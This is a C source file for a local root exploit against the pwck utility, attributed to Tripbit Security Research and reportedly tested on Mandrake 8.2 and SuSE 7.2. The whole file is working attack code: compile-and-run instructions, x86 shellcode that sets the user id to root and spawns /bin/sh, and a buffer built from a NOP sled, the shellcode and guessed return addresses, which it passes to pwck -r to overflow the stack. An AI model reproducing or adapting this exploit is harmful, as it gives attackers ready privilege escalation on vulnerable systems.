/*************************************************************
 *	Tripbit Security Research / tripbit.org
 *
 *	impact: local exploit for pwck
 *	author: posidron [posidron_at_tripbit_dot_org]
 *
 *	$ /usr/sbin/pwck -r `perl -e 'print "A" x 2391'`
 *	Segmentation fault!
 *
 *	$ gcc tsr-pwck.c -o tsr-pwck
 *	$ ./tsr-pwck <offset>
 *
 *
 *	tested on: Mandrake Linux 8.2   [offset 991]
 *                 Suse Linux 7.2   [offset 991]
 *
 *************************************************************/

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_BUFFER_SIZE	2400
#define DEFAULT_OFFSET		   0
#define NOP			0x90

char shellcode[] = "\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68"
                   "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31"
                   "\xc0\x31\xdb\xb0\x01\xcd\x80";


unsigned long get_stack_pointer(void)
{
    __asm__("movl %esp, %eax");
}


int main(int argc, char *argv[])
{
    char *buffer, *pointer;
    int buffer_size = DEFAULT_BUFFER_SIZE, offset = DEFAULT_OFFSET, i;
    long address, *address_pointer;

    fprintf(stdout, "pwck - local root exploit by posidron\n");

    if(argc > 1) offset = atoi(argv[1]);

    if(!(buffer = malloc(buffer_size)))
    {
        fprintf(stderr, "can't allocate memory!\n");
        exit(0);
    }

    (char *)address = get_stack_pointer() - offset;
    fprintf(stdout, "jumping to address: 0x%x\n", address);

    pointer = buffer;
    address_pointer = (long *)pointer;

    for(i = 0; i < buffer_size; i+= 4)
    {
        (int *)*(address_pointer++) = address;
    }

    for(i = 0; i < buffer_size / 2; i++)
    {
        buffer[i] = NOP;
    }

    pointer = buffer + ((buffer_size / 2) - (strlen(shellcode) /2));

    for(i = 0; i < strlen(shellcode); i++)
    {
        *(pointer++) = shellcode[i];
    }

    buffer[buffer_size - 1] = '\0';

    if(execl("/usr/sbin/pwck", "pwck", "-r", buffer, NULL))
    {
        fprintf(stderr, "unable to spawn shell\n");
        exit(0);
    }

    return 0;
}
